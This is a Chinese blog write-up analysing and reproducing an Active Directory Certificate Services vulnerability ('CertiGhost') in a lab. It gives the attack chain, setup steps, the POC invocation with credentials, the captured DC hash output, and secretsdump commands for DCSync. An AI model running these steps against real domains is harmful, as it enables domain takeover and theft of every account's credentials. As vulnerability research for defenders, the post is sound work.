CVE-2026-54121 (CertiGhost) 漏洞分析与复现

漏洞概述

CVE-2026-54121,研究人员命名为 CertiGhost,是一个位于 Windows Active Directory 证书服务(ADCS)中的严重漏洞。攻击者只需持有一个低权限域用户账户,即可通过伪造身份欺骗 CA 服务器签发目标 DC 的机器证书,最终实现对整个域的完全控制(域内提权至 DA)。

该漏洞的核心在于 ADCS 在处理证书请求时会根据请求属性中的 cdc(Client DC)字段主动回连攻击者指定的地址做身份验证,而这一过程可被利用来欺骗 CA 将证书颁发给伪造的目标身份(如 DC 机器账户)。

漏洞危害

  • 权限等级:低权限域用户 → 域控机器账户 NT Hash → DCSync → 全域沦陷
  • 无需任何漏洞利用链:全程使用合法协议(LDAP、SMB、NTLM、Netlogon、Kerberos PKINIT),不触发 EDR 典型规则
  • 影响范围广:所有未打补丁的、CA 与 DC 分离部署的 Windows AD 环境均受影响
  • CVSS 评分:严重(Critical)

利用条件

条件 说明
低权限域账户 任意可登录域的用户账户即可
可创建计算机账户 默认域策略允许普通用户创建最多 10 台计算机
CA 与 DC 分离部署 核心前提,CA 必须是独立服务器(非 DC 兼任)
攻击机网络可达 CA 服务器需能回连攻击者的 445 和 389 端口
CA 证书在 NTAuthCertificates 中 CA 签发的证书需被域信任,用于后续 PKINIT

漏洞原理

攻击链全景

低权限用户
  │
  ├─[1] 创建计算机账户 GHOST$(密码已知)
  │
  ├─[2] 启动恶意服务器
  │       ├─ 恶意 SMB/LSA 服务 (port 445)
  │       └─ 恶意 LDAP 服务 (port 389)
  │
  ├─[3] 向 CA 发送证书请求
  │       ├─ 以 GHOST$ 身份认证
  │       ├─ 模板: Machine
  │       ├─ cdc: <攻击者IP>   ← 核心注入点
  │       └─ rmd: DC01.testjd.local
  │
  ├─[4] CA 收到请求后,根据 cdc 字段回连攻击者:445
  │       └─ CA 以自身机器账户(CA01$)发起 NTLM 认证
  │
  ├─[5] 恶意 SMB 接受 CA 的 NTLM 认证
  │       ├─ 通过 GHOST$ 的 Netlogon Secure Channel 向 DC 转发验证
  │       └─ DC 确认 CA01$ 凭证合法 → 认证成功
  │
  ├─[6] 恶意 LDAP 被 CA 查询目标身份信息
  │       └─ 返回伪造数据:sAMAccountName=DC01$, SID=<DC的SID>, dNSHostName=DC01.testjd.local
  │
  ├─[7] CA 信以为真,签发了 DC01$ 的机器证书
  │       └─ 保存为 dc01.pfx
  │
  └─[8] 用 dc01.pfx 做 PKINIT
          ├─ 获取 DC01$ 的 TGT
          ├─ 通过 U2U 从 PAC 中解密出 NT Hash
          └─ 执行 DCSync → 全域 Hash 导出

为什么 CA 必须与 DC 分离

恶意 SMB 使用 GHOST$(WorkstationSecureChannel)向 DC 做 Netlogon 转发验证。
Netlogon 协议规定:通过 WorkstationSecureChannel 只能验证普通机器账户(Workstation/Server),不能验证 DC 机器账户(DC$ 类型账户需要 BDC Secure Channel)。

  • CA 与 DC 共机 → CA 回连时用 DC01$ 做 NTLM → WorkstationChannel 验证 DC 账户 → STATUS_WRONG_PASSWORD,永远失败
  • CA 独立部署 → CA 回连时用 CA01$ 做 NTLM → WorkstationChannel 验证普通机器账户 → 成功

影响范围

  • 受影响:CA 单独部署在成员服务器上的 Windows AD 域环境,且 CA 未安装 2026 年 7 月安全更新
  • 不受影响
  • CA 与 DC 安装在同一台机器
  • 已安装 MS 2026 年 7 月补丁的环境
  • 禁用了 cdc 属性处理的 CA

复现环境搭建

环境规划

DC01    192.168.244.131   Windows Server 2019(域控 + 根CA testjd-CA)
ADCS01  192.168.244.134   Windows Server 2019(独立成员服务器 + 从属CA testjd-ADCS01-CA)
Ubuntu  192.168.244.128   攻击机(运行 POC)
域名    testjd.local

第一步:搭建 DC01

正常安装 Windows Server 2019,提升为域控,域名 testjd.local
DC01 上可选择性安装 ADCS(根 CA),但不使用它做攻击目标

第二步:搭建独立 CA(ADCS01)

新建 Windows Server 2019 虚拟机,加入 testjd.local 域,然后安装 ADCS:

  1. 服务器管理器 → 添加角色 → Active Directory 证书服务
  2. 角色服务选择:证书颁发机构
  3. 安装类型选择:企业 CA(Enterprise CA)
  4. CA 类型选择:从属 CA(Subordinate CA)
  5. 向导会提示向父 CA(DC01 上的根 CA)申请签名证书,完成即可

选从属 CA 而非新建根 CA 的原因:域控天然信任 DC01 根 CA 签发的证书链,从属 CA 颁发的证书会被域自动信任,PKINIT 才能成功。

第三步:将 ADCS01 的 CA 证书发布到 NTAuthCertificates

这是一个极易踩坑的步骤。从属 CA 安装完后不会自动注册到 AD 的 NTAuth 信任库,导致后续 PKINIT 失败,报错:

KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)

修复方法,在 ADCS01 上以管理员运行:

certutil -pulse

然后在 DC01 上刷新组策略:

gpupdate /force

验证是否生效(能看到两个 CA 条目即正常):

certutil -viewstore -enterprise NTAuth

第四步:安装 POC 依赖

pip install impacket cryptography asn1crypto pycryptodomex dnspython

复现过程

运行 POC

python3 certighost.py -d testjd.local -u shule -p 'Bb123456' \
    --dc-ip 192.168.244.131 \
    --ca-ip 192.168.244.134 \
    --ca "testjd-ADCS01-CA"

成功输出

复现成功截图

[*] Connecting to LDAPS
[*] Detecting infrastructure
    DC: 192.168.244.131 | CA: testjd-ADCS01-CA (192.168.244.134)
    Target: DC01$ | SID: S-1-5-21-2988973551-359497623-2177000135-1000
[*] Creating computer: GHOSTZHRBGOVI$
[*] Starting rogue servers (LSA:445 + LDAP:389)
[*] Requesting certificate (template=Machine, cdc=192.168.244.128)
    Saved: dc01.pfx
[*] PKINIT as DC01$
[*] Got hash for DC01$:
    DC01$:aad3b435b51404eeaad3b435b51404ee:d332cf19cf66b2094695e33a42ed043d
    ccache: dc01.ccache
[*] GGWP

利用 NT Hash 执行 DCSync

impacket-secretsdump \
    -hashes aad3b435b51404eeaad3b435b51404ee:d332cf19cf66b2094695e33a42ed043d \
    'testjd.local/[email protected]'

或使用 ccache:

export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass DC01.testjd.local

踩坑记录

坑 1:CA 与 DC 在同一台机器,STATUS_WRONG_PASSWORD 无限循环

现象:恶意 SMB 收到 DC01 的回连,NTLM 握手完成,但 Netlogon 验证始终返回 STATUS_WRONG_PASSWORD,重试十余次后报 Cert request denied (0x800706ba)

原因:CA 与 DC 共机时,CA 回连使用的是 DC01$ 账户(DC 机器账户),而 POC 用普通 WorkstationSecureChannel 无法验证 DC 类型账户。

解决:必须搭建独立的 CA 服务器。

坑 2:PKINIT 失败,KDC_ERROR_CLIENT_NOT_TRUSTED

现象:证书已成功获取(dc01.pfx 已保存),但 PKINIT 报 KDC_ERROR_CLIENT_NOT_TRUSTED

原因:从属 CA 安装后未自动发布到 AD 的 NTAuthCertificates,DC 不信任该 CA 签发的证书做 Kerberos 认证。

解决:在 CA 服务器执行 certutil -pulse,在 DC 执行 gpupdate /force,手动触发发布。

参考资料

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇